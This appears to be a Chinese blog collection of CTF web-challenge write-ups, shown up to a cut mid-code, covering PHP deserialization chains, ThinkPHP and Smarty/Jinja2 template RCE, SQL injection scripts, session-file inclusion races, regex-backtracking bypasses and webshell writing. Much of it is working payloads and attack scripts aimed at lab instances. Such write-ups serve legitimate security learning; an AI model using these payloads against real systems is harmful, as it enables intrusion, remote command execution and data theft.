{
$this->filename = "flag.php";
$this->docker = 'O:8:"stdClass":2:{s:7:"neutron";s:1:"a";s:4:"nova";R:2;}';
}
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova) {
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}

$cls = new acp();
echo urlencode(serialize($cls))."\n";
echo $cls;

前面的都不难理解,主要是docker的内容是什么意思呢

1
O:8:"stdClass":2:{s:7:"neutron";s:1:"a";s:4:"nova";R:2;}

根据序列化后的字段进行分析,这个R:2是什么意思?

根据wp的所给验证方法,终于明白了,我们来看看

构造一个类进行验证:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

class Test{
public $m;
public $n;
public $o;
private $q;
protected $p;
function __construct($n,$o,$p,$q){
$this->m = $m;
$this->n = $n;
$this->o = $o;
$this->p = $p;
$this->q = $q;
}
}

$i0clay = new Test(1,1,'1',true);
$i0clay->m = &$i0clay->n; //声明变量m,引用自变量n
echo (serialize($i0clay));

?>

结果为:

1
O:4:"Test":5:{s:1:"m";i:1;s:1:"n";R:2;s:1:"o";i:1;s:7:"Testq";b:1;s:4:"*p";s:1:"1";}

需要注意的是这里 R 所处的位置是被引用的变量 n 而非 m。那么 2 这个数字又代表什么呢?受 R 所处位置的启发,尝试更换 m 为其他变量:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

class Test{
public $m;
public $n;
public $o;
private $q;
protected $p;
function __construct($m,$n,$p,$q){
$this->m = $m;
$this->n = $n;
$this->o = $o;
$this->p = $p;
$this->q = $q;
}
}

$i0clay = new Test(1,1,'1',true);
$i0clay->o = &$i0clay->n;
echo (serialize($i0clay));

?>

运行结果为:

1
O:4:"Test":5:{s:1:"m";i:1;s:1:"n";i:1;s:1:"o";R:3;s:7:"Testq";b:1;s:4:"*p";s:1:"1";}

发现R的位置也变了,分析出,R 后的数字代表了要引用其他变量的变量所处的位置。当 m 引用 n 时为 R:2,当 o 引用 n 时 为 R:3。

好的,那么我们就能解释官方wp所给的内容了

为了使两值相等,用R:2指定nova是引用neutron的值,所以在反序列化之后就达到了两值相同的效果

运行exp,跳出空白界面,在F12里得到flag信息:

发现flag在提示文件夹下

所以回到poc链那里修改file读取为../nssctfasdasdflag(因为尝试直接读取/nssctfasdasdflag失败,不在这个目录下,这里就不做演示了)

正式的wp为:

1
O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A19%3A%22..%2Fnssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A56%3A%22O%3A8%3A%22stdClass%22%3A2%3A%7Bs%3A7%3A%22neutron%22%3Bs%3A1%3A%22a%22%3Bs%3A4%3A%22nova%22%3BR%3A2%3B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

传入得到flag。

第二种解法:

后来觉得这道题有点过于复杂了,所以就又去想了想,发现设置docker变量的值为空也能符合相同的条件

构造payload为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new ace;
}
}
class ace
{
public $filename='flag.php';
public $openstack;
public $docker;
}
$a=new acp();
$b=new ace();
$b->docker=null;
echo urlencode(serialize($a));
?>

这样也能达到一样的效果

[SWPUCTF 2022 新生赛]ez_rce

一进去提示不会什么都没有吧,F12也什么都没有,尝试访问常见文件

发现新文件尝试访问

是一个thinkphp的框架题目

直接用工具进行探测:

所测链接直接进行访问

然后挨着挨着查即可

最终payload:

1
http://node3.anna.nssctf.cn:28299//NSS/index.php/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/nss/ctf/flag/flag

[鹤城杯 2021]Middle magic

题目一进去就是源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
highlight_file(__FILE__);
include "./flag.php";
include "./result.php";
if(isset($_GET['aaa']) && strlen($_GET['aaa']) < 20){

$aaa = preg_replace('/^(.*)level(.*)$/', '${1}<!-- filtered -->${2}', $_GET['aaa']);

if(preg_match('/pass_the_level_1#/', $aaa)){
echo "here is level 2";

if (isset($_POST['admin']) and isset($_POST['root_pwd'])) {
if ($_POST['admin'] == $_POST['root_pwd'])
echo '<p>The level 2 can not pass!</p>';
// START FORM PROCESSING
else if (sha1($_POST['admin']) === sha1($_POST['root_pwd'])){
echo "here is level 3,do you kown how to overcome it?";
if (isset($_POST['level_3'])) {
$level_3 = json_decode($_POST['level_3']);

if ($level_3->result == $result) {

echo "success:".$flag;
}
else {
echo "you never beat me!";
}
}
else{
echo "out";
}
}
else{

die("no");
}
// perform validations on the form data
}
else{
echo '<p>out!</p>';
}

}

else{
echo 'nonono!';
}

echo '<hr>';
}

?>

只有第一个判断条件是第一次见的:

要求内容符合:pass_the_level_1# 但是又不能有^(.)level(.)$,但这种正则匹配规定只在一行,所以用%0a换行,这里后面直接放#始终行不通,上网搜搜才知道在url里的#是位置标识符,所以用%23

下面的就很熟悉了,使用数组绕过sha1

后面的level_3变量用json格式就行啦

payload为:

1
2
3
4
GET
aaa=%0apass_the_level_1%23
POST
admin[]=1&root_pwd[]=2&level_3={"result":0}

[第五空间 2021]yet_another_mysql_injection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}

if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?>
<!-- /?source -->
<html>
<body>
<form action="/index.php" method="post">
<input type="text" name="username" placeholder="账号"><br/>
<input type="password" name="password" placeholder="密码"><br/>
<input type="submit" / value="登录">
</form>
</body>
</html>

好了,那么对于代码进行一个审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
#首先username必须是admin
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password); #配合上面的checkSql对传入的password进行一个检测,不能符合正则的检测
#一个sql查询语句,带入数据库进行查询
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
# 最后当我们输入的 password 等于 $password 输出flag
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}

if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?>

直接嗦一个脚本用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests,time
alp = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~"
def get_pass():
url = "http://1.14.71.254:28610/index.php"
flag = ""
while True:
for i in alp:
data={"username":"admin","password":f"1'or/**/password/**/like/**/'{flag+i}%'#"}
resp = requests.post(url=url,data=data)
time.sleep(0.1)
if "something wrong" not in resp.text:
flag+=i
print(flag)
break
elif "~" in i:
return
get_pass()

密码已经跑出来了,直接进行上传拿到flag

[HNCTF 2022 Week1]easy_html

这道题算是个签到题吧,但是有对于我修改其母代码固性思维的挑战,所以就写一下

题目一进去就这么一句话,而且F12或访问常见文件什么都没有,所以看看请求头

发现在cookie里有奇怪的文件,注意解析,解析之后是/f14g.php,尝试访问

尝试输入电话号码,发现输入到第10位的时候就无法再输入了,修改对此进行限制的前端代码

只要大于电话号码的位数即可,输入并登录就拿到flag

[HDCTF 2023]SearchMaster

题目有进去就是一个很普通的界面,点进去是一个人的博客,找了找还以为有flag,但是没有,用diresearch扫了一下,发现了这个

尝试访问

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
{
"name": "smarty/smarty",
"type": "library",
"description": "Smarty - the compiling PHP template engine",
"keywords": [
"templating"
],
"homepage": "https://smarty-php.github.io/smarty/",
"license": "LGPL-3.0",
"authors": [
{
"name": "Monte Ohrt",
"email": "monte@ohrt.com"
},
{
"name": "Uwe Tews",
"email": "uwe.tews@googlemail.com"
},
{
"name": "Rodney Rehm",
"email": "rodney.rehm@medialize.de"
},
{
"name": "Simon Wisselink",
"homepage": "https://www.iwink.nl/"
}
],
"support": {
"issues": "https://github.com/smarty-php/smarty/issues",
"forum": "https://github.com/smarty-php/smarty/discussions"
},
"require": {
"php": "^7.1 || ^8.0"
},
"autoload": {
"classmap": [
"libs/"
]
},
"extra": {
"branch-alias": {
"dev-master": "4.0.x-dev"
}
},
"require-dev": {
"phpunit/phpunit": "^8.5 || ^7.5",
"smarty/smarty-lexer": "^3.1"
}
}

可以看出来是samrty模板

1
data=a{*comment*}b

当我们使用post在第一个界面发送时,界面上出现了ab,这也验证了确实是smarty模板

这里我们就尝试使用各种标签来进行命令执行,最后发现if标签可以成功:

1
{if system('ls /f*')}{/if}

推测这是flag所在的文件名字,进行查询:

1
{if system('cat /flag_13_searchmaster')}{/if}

成功拿到flag

[羊城杯 2020]easycon

使用diresearch扫描题目网址,发现Index.html,index.php,index.php/login,挨着访问,发现inde.php下面出现了弹窗

这不是一句话木马的内容嘛,尝试用蚁剑连接

蚁剑连接后在html文件夹下发现好几个文件,依次点开在txt文件里发现了许多很像base64的码,但是解码失败,会不会是base64转其他格式的文件?推荐一个网站

https://onlinetools.com/image/

得到flag,改一下前缀就行

[第五空间 2021]EasyCleanup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php 
if(!isset($_GET['mode'])){
highlight_file(__file__);
}else if($_GET['mode'] == "eval"){
$shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();';
if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
eval($shell);
}


if(isset($_GET['file'])){
if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
include $_GET['file'];
}


function filter($var){
$banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];

foreach($banned as $ban){
if(strstr($var, $ban)) return True;
}

return False;
}

function checkNums($var){
$alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$cnt = 0;
for($i = 0; $i < strlen($alphanum); $i++){
for($j = 0; $j < strlen($var); $j++){
if($var[$j] == $alphanum[$i]){
$cnt += 1;
if($cnt > 8) return True;
}
}
}
return False;
}
?>

如果有设置?shell,则?shell的值为其设置的值;若没有设置,则?shell=phpinfo();

审计源码,很明显这里直接命令执行应该是无法执行的:

总长度不能大于等于15
数字和字母的字符次数不能大于等于8次
加上一些filter()的过滤,这里基本无法实现?shell的命令执行

关键在include $_GET[‘file’];,有文件包含,虽然有filter()和长度的限制,但是没有最恶心的CheckNums();加上给了我们一个phpinfo。查看一下session.upload_progress,默认都是开启的。并且这里记录上传进度的session文件都没有开启自动清除(session.upload_progress.cleanup==Off),条件竞争都不用做了。

没有给出session.save_path,那sesion应该就是默认保存位置:/tmp/sess_xxx,但是没有脚本,所以就去网上剽窃了一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# -*- coding: utf-8 -*-
import io
import requests
import threading

myurl = 'http://114.115.134.72:32770/index.php'
sessid = '7'
myfile = io.BytesIO(b'mochu7' * 1024)
writedata = {"PHP_SESSION_UPLOAD_PROGRESS": "<?php system('ls -lha /');?>"}
mycookie = {'PHPSESSID': sessid}

def writeshell(session):
while True:
resp = requests.post(url=myurl, data=writedata, files={'file': ('mochu7.txt', myfile)}, cookies=mycookie)

def getshell(session):
while True:
payload_url = myurl + '?file=' + '/tmp/sess_' +sessid
resp = requests.get(url=payload_url)
if 'upload_progress' in resp.text:
print(resp.text)
break
else:
pass


if __name__ == '__main__':
session = requests.session()
writeshell = threading.Thread(target=writeshell, args=(session,))
writeshell.daemon = True
writeshell.start()
getshell(session)

直接跑脚本

得到flag。

[SWPUCTF 2022 新生赛]奇妙的MD5

这道题其实很简单,但是设计到一个之前不知道的知识点:

进入页面,发现没什么有用的,拉进火狐看看请求包

发现了hint:

1
select * from 'admin' where password=md5($pass,true)

这个东西可以用万能绕过字符:ffifdyop绕过,在跳转后的页面里按f12,查看得到源代码

直接数组绕过:

1
?x[]=1&y[]=2

得到下一步源码:

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['wqh']!==$_POST['dsy']&&md5($_POST['wqh'])===md5($_POST['dsy'])){
echo $FLAG;
}

还是数组绕过,直接就得到了flag。

[NISACTF 2022]middlerce

先看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include "check.php";
if (isset($_REQUEST['letter'])){
$txw4ever = $_REQUEST['letter'];
if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
die("再加把油喔");
}
else{
$command = json_decode($txw4ever,true)['cmd'];
checkdata($command);
@eval($command);
}
}
else{
highlight_file(__FILE__);
}
?>

json_encode:接受一个 JSON 格式的字符串并且把它转换为 PHP 变量,如果是true则返回array并非object,checkdata检测绕过,手段

/^.([\w]|^|*|(|~|`|?|/| |||&|!|<|>|{|\x09|\x0a|[).$/m .*有好几个,这里采用回溯绕过

关于回溯绕过,这里参考下面这篇文章:

PHP利用PCRE回溯次数限制绕过某些安全限制 - FreeBuf网络安全行业门户

主要就是回溯次数大于1000000会返回false进行绕过

  • 系统命令执行用反引号 `,因为别的过滤掉了

  • eval里面用短标签 ?> 来绕过过滤echo,无法输出的情况

    使用脚本:

    1
    2
    3
    4
    5
    import requests
    url = 'http://1.14.71.254:28288/'
    payload = '{"cmd":"?><?=`sort /f*`?>","+":"' + "-" * 1000000 + '"}'
    res = requests.post(url=url, data={"letter": payload})
    print(res.text)

[WUSTCTF 2020]朴实无华

界面什么都没有,f12也没什么有用的,尝试访问robots.txt

发现可以文件,尝试访问

得到假的flag,拉进火狐看看请求头里有没有什么东西

在响应头里看见了一个自定义的头,里面还有一个可疑文件,尝试访问

拿到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>

可以看到有三层过滤:

第一层:

传入一个参数num,经过intval函数既要小于2020并且加一要大于2021,看一下这个函数
intval() 函数用于获取变量的整数值。
intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
我们尝试传入:num=2e4

发现成功绕过,现在开始第二层:

就是传进去的值要与他md5加密之后的值一样

直接传值:md5=0e215962017

成功绕过,现在看最后一层:

传入的get_flag不能有空格
传入的cat会被替换为wctf2020
传入的get_flag会当作系统命令被执行
我们直接ls看一看有什么

怀疑flag就在最长的那玩意儿里面,既然不准用cat ,那就用有相同功能的tac ,空格就用$IFS$9绕过就行

拿到flag

[LitCTF 2023]Flag点击就送!

这道题一进去让我们随便输来验证身份,我们随便输入一个数字,他告诉我们只有管理员才能拿到flag,所以我们尝试回到输入身份的地方并输入admin,但是告诉我们你怎么可能是管理员,并且标签提示我们是cookie伪造,尝试进行查看

发现cookie,使用flask_session进行cookie伪造:

1
python3 flask_session_cookie_manager3.py decode -s "secret_key" -c "需要解密的session值"

但是我们并不知道secret_key是啥,只能猜测是比赛名称LitCTF

解得cookie值,现在我们使用命令在flask_session里对其进行修改并加密

得到对于管理员来讲的加密之后的cookie值

成功拿到flag

[NISACTF 2022]join-us

页面一进去发现有很多可点击的地方,先点击登录

感觉这个登录框很有注入点的感觉,手测加fuzz一下,这里发现,fuzz测出来or是可以用的,但是手测却又不可以,上网查一下才发现是后端进行了过滤,但是有点不知道该怎么办了,看了一下wp,才想起来可以用||管道符(太久没做,生疏了)

剩下的也没什么过滤了的,就是比较基础的报错注入语句进行查询了

1
tt=1' ||extractvalue(1,concat(0x7e,(select group_concat(table_name) from mysql.innodb_table_stats),0x7e)) #

返回里面得到了表名,FLAG_TABLE肯定最可疑,但是我们查询之后里面并没有,并且这里表名并没有显示完全,使用mid函数截断拼接,发现剩下的表名,这里就不写其中的步骤了,直接查询output

1
tt=1' ||extractvalue(1,concat(0x7e, (select * from (select * from output a join output )b),0x7e)) #

得到字段名data,直接查询flag

1
tt=1' ||extractvalue(1,concat(0x7e,(select data from output),0x7e)) #

这里flag并没有显示完全,和刚刚查表名一样使用mid函数截断看看

1
tt=1' ||extractvalue(1,concat(0x7e,mid((select data from output),20),0x7e)) #

得到后半段flag,拼接即可

[SWPUCTF 2022 新生赛]numgame

页面一进去是一个怎么都回答不了的10+10,尝试F12获取更多信息,发现没有反应,使用开发者工具打开看看

发现有一个js文件,尝试访问

以为直接拿到了flag,高兴坏了,提交显示错误,解码一下flag其中的内容,发现是一个文件名:NsScTf.php,尝试访问

这里就涉及到一个小知识点:

使用类名::方法名,来访问其中方法,并且我们发现没有过滤大写,所以进行读取:

1
p=Nss2::Ctf

F12得到flag。

[SWPUCTF 2021 新生赛]hardrce_3

这道无字母RCE看样子只能使用自增了,异或和取反都被禁用

(6条消息) 无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)_无数字正则匹配绕过取反脚本_yu22x的博客-CSDN博客

使用yu神的自增脚本,使用之前记得url编码一下

ctrl+f查找一下,发现flag那一栏没有值,再查一下disable_function,发现很多常用的函数都被禁用了

但是我们发现file_put_contents函数并没有被禁,所以使用这个函数进行木马文件的写入(注意由于空格被禁了,所以使用%20进行代替)$前面加上了\是防止其被字符串包裹无法发挥作用。

1
_=file_put_contents("1.php","<?php%20eval(\$_POST['1']);%20?>");

然后蚁剑连接并访问,在网站根目录下找到flag。

[HNCTF 2022 WEEK2]easy_include

可以看到题目作为一个文件包含过滤了很多字符,并且标签提醒是一个Nginx,我们尝试一下请求包里UA上传一句话木马,并在日志文件访问,上网搜到Nginx的日志文件路径是/var/log/nginx/access.log和/var/log/nginx/error.log

我们抓包进行尝试

可以看到这样做成功得到了回显,那么尝试cat /ffflllaaaggg

可以看到就成功拿到flag,这道题操作很简单,但是我之前一直听他们说日志文件包含但没做过类似题目,这次遇到就写上去了

[GDOUCTF 2023]反方向的钟

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
public $name;
public $rank;
private $salary;
public function __construct($name,$rank,$salary = 10000){
$this->name = $name;
$this->rank = $rank;
$this->salary = $salary;
}
}

class classroom{
public $name;
public $leader;
public function __construct($name,$leader){
$this->name = $name;
$this->leader = $leader;
}
public function hahaha(){
if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
return False;
}
else{
return True;
}
}
}

class school{
public $department;
public $headmaster;
public function __construct($department,$ceo){
$this->department = $department;
$this->headmaster = $ceo;
}
public function IPO(){
if($this->headmaster == 'ong'){
echo "Pretty Good ! Ctfer!\n";
echo new $_POST['a']($_POST['b']);
}
}
public function __wakeup(){
if($this->department->hahaha()) {
$this->IPO();
}
}
}

if(isset($_GET['d'])){
unserialize(base64_decode($_GET['d']));
}
?>

老规矩,像构造pop链,先找到终点

明显是school类中的IPO方法:

1
echo new $_POST['a']($_POST['b']);

这里应该就要用到php的原生类了,而提示又有flag.php,所以就使用原生类SplFileObject读取文件

而IPO又需要在school中的wakeup中调用:

1
2
3
4
5
public function __wakeup(){
if($this->department->hahaha()) {
$this->IPO();
}
}

而调用IPO就需要hahaha符合条件

hahaha是classroom的一个方法,所以这里要实例化classroom赋给dapartment

1
2
3
4
5
6
7
8
public function hahaha(){
if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
return False;
}
else{
return True;
}
}

hahaha返回true三个变量相等其中后面两个变量明显是一个对象中的name和rank变量

有这两个变量的只有teacher类,所以要实例化该类并赋值给leader

最后就是在teacher类中赋值name和rank即可

所以就构造exp为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
error_reporting(0);
class teacher{
public $name;
public $rank;
private $salary;
public function __construct($name,$rank,$salary = 10000){
$this->name = $name;
$this->rank = $rank;
$this->salary = $salary;
}
}

class classroom{
public $name;
public $leader;
public function __construct($name,$leader){
$this->name = $name;
$this->leader = $leader;
}
public function hahaha(){
if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
return False;
}
else{
return True;
}
}
}

class school{
public $department;
public $headmaster;
public function __construct($department,$ceo){
$this->department = $department;
$this->headmaster = $ceo;
}
public function IPO(){
if($this->headmaster == 'ong'){
echo "Pretty Good ! Ctfer!\n";
echo new $_POST['a']($_POST['b']);
}
}
public function __wakeup(){
if($this->department->hahaha()) {
$this->IPO();
}
}
}

$a=new school(new classroom("one class",new teacher("ing","department")),"ong");

echo urlencode(base64_encode(serialize($a)));
?>

可以得到传给d的参数应该为:

1
Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjozOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO3M6MTU6IgB0ZWFjaGVyAHNhbGFyeSI7aToxMDAwMDt9fXM6MTA6ImhlYWRtYXN0ZXIiO3M6Mzoib25nIjt9

而对于给a和b传的值为(对于a使用php原生类,而b使用伪协议进行读取):

1
a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php

直接base64解码就拿到flag了。

[NCTF 2018]flask真香

题目什么都没有,F12也什么都没发现

到处乱点,在点击右下方的小点之后跳转到下一个页面

标签提示是jinja2的SSTI,我们进行测试

确实是存在的

接下来试试有没有过滤什么

url空了,经过测试,发现过滤了下列字符:

1
class  mro  subclasses  builtins  eval  import  open  os

使用字符串拼接的方法来绕过

1
{{''['__cl'+'ass__'].__bases__[0]['__subcl'+'asses__']()}}

找到<class ‘os._wrap_close’>,直接用ctrl+F找每个元素都有的字符 >

成功找到

1
{{''['__cl'+'ass__'].__bases__[0]['__subcl'+'asses__']()[287]}}

构造payload:

1
{{''['__cl'+'ass__'].__bases__[0]['__subcl'+'asses__']()[287].__init__.__globals__['__bui'+'ltins__']['ev'+'al']("__im"+"port__('o'+'s').po"+"pen('ls /').read()")}}

下一步就是cat flag

1
{{''['__cl'+'ass__'].__bases__[0]['__subcl'+'asses__']()[287].__init__.__globals__['__bui'+'ltins__']['ev'+'al']("__im"+"port__('o'+'s').po"+"pen('cat /Th1s_is__F1114g').read()")}}

[CISCN 2019初赛]Love Math

先看题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

可以看到,我们只能使用白名单里的函数,接下来对我们要用到的函数做一个简单的解释:

base_convert()函数

hex2bin() 函数

hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。

dechex() 函数

dechex() 函数把十进制数转换为十六进制数。

我们的目标命令是:

1
?c=system("cat /flag")

但是显然我们需要绕过白名单和黑名单,就不能出现引号和system函数,引号其实可以省略,没有引号命令也能执行,这里我们采用的方法是用变量保存函数和参数,如:

1
?c=($_GET[a])($_GET[b])&a=system&b=cat /flag

我们使用白名单里的函数进行替换:

1
?c=($_GET[pi])($_GET[abs])&pi=system&abs=cat /flag

但是问题又来了,_GET不是白名单里的变量名,[]也被黑名单过滤

  1. []可以用{}来代替
  2. _GET就要用到上面的hex2bin() 函数转化

_GET=hex2bin(5f 47 45 54)

但是hex2bin也不是白名单里的函数,这里就用到白名单里的base_convert函数,用base_convert()函数将10进制数转化为36进制的hex2bin

hex2bin=base_convert(37907361743,10,36)

5f 47 45 54也不能直接填,因为会被preg_match_all(‘/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/‘, $content, $used_funcs); 这句话当作函数名放进白名单里检测,所以5f 47 45 54也需要经过进制转化
dechex() 函数把十进制数转换为十六进制数。

5f474554=dechex(1598506324)

1
_GET=hex2bin(5f 47 45 54)=base_convert(37907361743,10,36)(dechex(1598506324))

将get存进一个变量里:

1
$pi=base_convert(37907361743,10,36)(dechex(1598506324));

最终payload为:

1
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag

[NSSRound#8 Basic]MyDoor

题目一进去是空白的,f12没什么反应,我们尝试访问index.php。也失败了,这里就尝试用伪协议来读取index.php

1
?file=php://filter/read=convert.base64-encode/resource=index.php

得到后端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);

if (isset($_GET['N_S.S'])) {
eval($_GET['N_S.S']);
}

if(!isset($_GET['file'])) {
header('Location:/index.php?file=');
} else {
$file = $_GET['file'];

